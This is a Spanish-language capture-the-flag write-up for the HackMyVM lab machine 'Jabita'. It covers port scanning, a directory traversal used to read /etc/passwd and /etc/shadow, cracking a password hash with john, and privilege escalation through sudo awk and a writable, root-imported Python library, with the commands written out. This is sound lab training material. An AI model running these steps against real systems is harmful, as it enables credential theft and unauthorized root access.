Jabita
March 6, 20234 minutes
https://hackmyvm.eu/machines/machine.php?vm=Jabita
IP Atacante = 192.168.1.138
IP víctima = 192.168.1.141
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
❯ ping -c 1 192.168.1.141
PING 192.168.1.141 (192.168.1.141) 56(84) bytes of data.
64 bytes from 192.168.1.141: icmp_seq=1 ttl=64 time=0.257 ms
--- 192.168.1.141 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.257/0.257/0.257/0.000 ms
En este caso da un ttl (time to live) de 64, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación
Escaneo de puertos (nmap)
Ahora empezamos con un escaneo de puertos
$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 192.168.1.141 -oG allPorts
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
–open | Para que solo reporte los puertos abiertos |
–min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Skip host discovery |
-oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPort |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
❯ extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 192.168.1.141
5 │ [*] Open ports: 22,80
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos
$ nmap -p21,22,80 -sC -sV 192.168.1.141 -oN versions
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 00b003d392f8a0f95a93207bf80aaada (ECDSA)
|_ 256 ddb4261d0ce738c37a2f07bef8743ebc (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
Parámetro | Función |
---|---|
-p | Especificamos los puertos abiertos que hemos encontrado con el escaneo anterior |
-sC | Para que realice scripts básicos de reconocimiento |
-sV | Proporciona la versión e información de los servicios que corren por los puertos |
Web
Está corriendo una web por el puerto 80
Según el mensaje podemos intuir que como está en proceso de construcción no va a estar muy bien echa
Fuzzing subdirectorios
Vamos a buscar subdirectorios con gobuster con el diccionario /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
❯ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.141
/building (Status: 301) [Size: 317] [--> http://192.168.1.141/building/]
Nos ha encontrado un subdirectorio
Al entrar si nos fijamos en la url vemos como hay un ‘?page=archivo’
En este caso lo que se puede probar es si es vulnerable a directory traversal
Efectivamente, es vulnerable, viendo el /etc/passwd
podemos ver 2 usuarios
- jaba
- jack
Después de ir probando varias cosas he encontrado que podemos ver el archivo /etc/shadow
Rápidamente podemos ver que el hash de jack es un sha512 porque empieza por ‘$6$’, Nos lo copiamos y lo guardamos en un archivo en nuestra máquina llamado hash
, después con john de ripper y el diccionario rockyou.txt vamos a intentar encontrar la contraseña
john --wordlist=/usr/share/wordlists/rockyou.txt hash
john --show hash
Ahora ya nos podemos conectar por ssh como jack
Escalada de privilegios
Jaba
Con un sudo -l vemos que podemos ejecutar awk como jaba
jack@jabita:~$ sudo -l
Matching Defaults entries for jack on jabita:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, listpw=never
User jack may run the following commands on jabita:
(jaba : jaba) NOPASSWD: /usr/bin/awk
Haciendo una búsqueda por la web de gtfobins encontramos que con el siguiente comando podemos escalar privilegios
sudo -u jaba /usr/bin/awk 'BEGIN {system("/bin/bash")}'
Ya podemos ver la flag en /home/jaba/user.txt
Root
con sudo -l vemos que podemos ejecutar un archivo de python llamado clean.py
Matching Defaults entries for jaba on jabita:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, listpw=never
User jaba may run the following commands on jabita:
(root) NOPASSWD: /usr/bin/python3 /usr/bin/clean.py
Con un cat a /usr/bin/clean.py
vemos que el progrma importa una libreria llamada wild y ejecuta la funcion first de la libreria wild
jaba@jabita:~$ cat /usr/bin/clean.py
import wild
wild.first()
Para encontrar donde está el wild.py
vamos a usar find
jaba@jabita:~$ find / -name wild.py 2>/dev/null
/usr/lib/python3.10/wild.py
Tenemos permisos de escritura
jaba@jabita:~$ ls -l /usr/lib/python3.10/wild.py
-rw-r--rw- 1 root root 42 Mar 6 17:28 /usr/lib/python3.10/wild.py
Vamos a modificarlo de tal forma que quede así
import os
def first():
os.system("bash")
Importamos la libreria os, definimos la función first y dentro de la función first ponemos que ejecute bash, como estamos ejecutando el programa como root nos va a spawnear una bash como root
jaba@jabita:~$ sudo /usr/bin/python3 /usr/bin/clean.py
root@jabita:/home/jaba# id
uid=0(root) gid=0(root) groups=0(root)
root@jabita:/home/jaba#
Ya somos root!
Podemos ver la flag en /root/root.txt